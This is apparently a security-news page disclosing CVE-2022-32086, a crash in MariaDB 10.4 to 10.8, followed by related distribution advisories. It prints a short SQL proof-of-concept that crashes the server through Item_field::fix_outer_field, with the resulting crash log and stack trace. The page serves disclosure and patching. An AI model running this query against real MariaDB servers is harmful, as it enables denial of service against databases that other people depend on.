Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-32086: [MDEV-26412] Server crash in Item_field::fix_outer_field for INSERT SELECT

MariaDB v10.4 to v10.8 was discovered to contain a segmentation fault via the component Item_field::fix_outer_field.

CVE
#sql#perl

PoC:

CREATE TABLE v0 ( v1 BIGINT ( 67 ) NOT NULL ) ;

CREATE TABLE v2 ( v4 INT , v3 INT NOT NULL UNIQUE KEY CHECK ( -128 | ( str_to_date ( CHAR ( 33 ) , ‘x’ ) ) ) ) ;

DROP FUNCTION IF EXISTS v0 ;

INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 ) ;

Crash Log:

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/18.socket’ port: 10018 Source distribution

210816 15:33:24 [ERROR] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed,

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key_buffer_size=134217728

read_buffer_size=131072

max_used_connections=1

max_threads=153

thread_count=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory

Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong…

stack_bottom = 0x7f722a3fd850 thread_stack 0x5fc00

sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f7249ca9c3e]

mysys/stacktrace.c:213(my_print_stacktrace)[0x55c05f113747]

sql/signal_handler.cc:222(handle_fatal_signal)[0x55c05e0db120]

sigaction.c:0(__restore_rt)[0x7f7249693870]

sql/item.cc:5561(Item_field::fix_outer_field(THD*, Field**, Item**))[0x55c05e168491]

sql/item.cc:5982(Item_field::fix_fields(THD*, Item**))[0x55c05e16b34c]

sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d80a2ed]

sql/sql_select.cc:1397(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac647c]

sql/item_subselect.cc:3903(subselect_single_select_engine::prepare(THD*))[0x55c05e3cf4f6]

sql/item_subselect.cc:295(Item_subselect::fix_fields(THD*, Item**))[0x55c05e3ccd05]

sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d810338]

sql/sql_base.cc:8454(setup_conds(THD*, TABLE_LIST*, List<TABLE_LIST>&, Item**))[0x55c05d810d40]

sql/sql_select.cc:833(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac6748]

sql/sql_select.cc:4967(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x55c05db0dcaa]

sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x55c05db0e655]

sql/sql_parse.cc:4718(mysql_execute_command(THD*, bool))[0x55c05d97d9c1]

sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55c05d9805a1]

sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55c05d98660c]

sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55c05d98b73d]

sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55c05dd46e57]

sql/sql_connect.cc:1312(handle_one_connection)[0x55c05dd4733d]

perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55c05e7d7c2c]

pthread_create.c:0(start_thread)[0x7f7249689259]

:0(__GI___clone)[0x7f72492345e3]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 )

Connection ID (thread ID): 4

Status: NOT_KILLED

Related news

Gentoo Linux Security Advisory 202405-25

Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.

Ubuntu Security Notice USN-5739-1

Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

RHSA-2022:5759: Red Hat Security Advisory: rh-mariadb105-galera and rh-mariadb105-mariadb security and bugfix update

An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907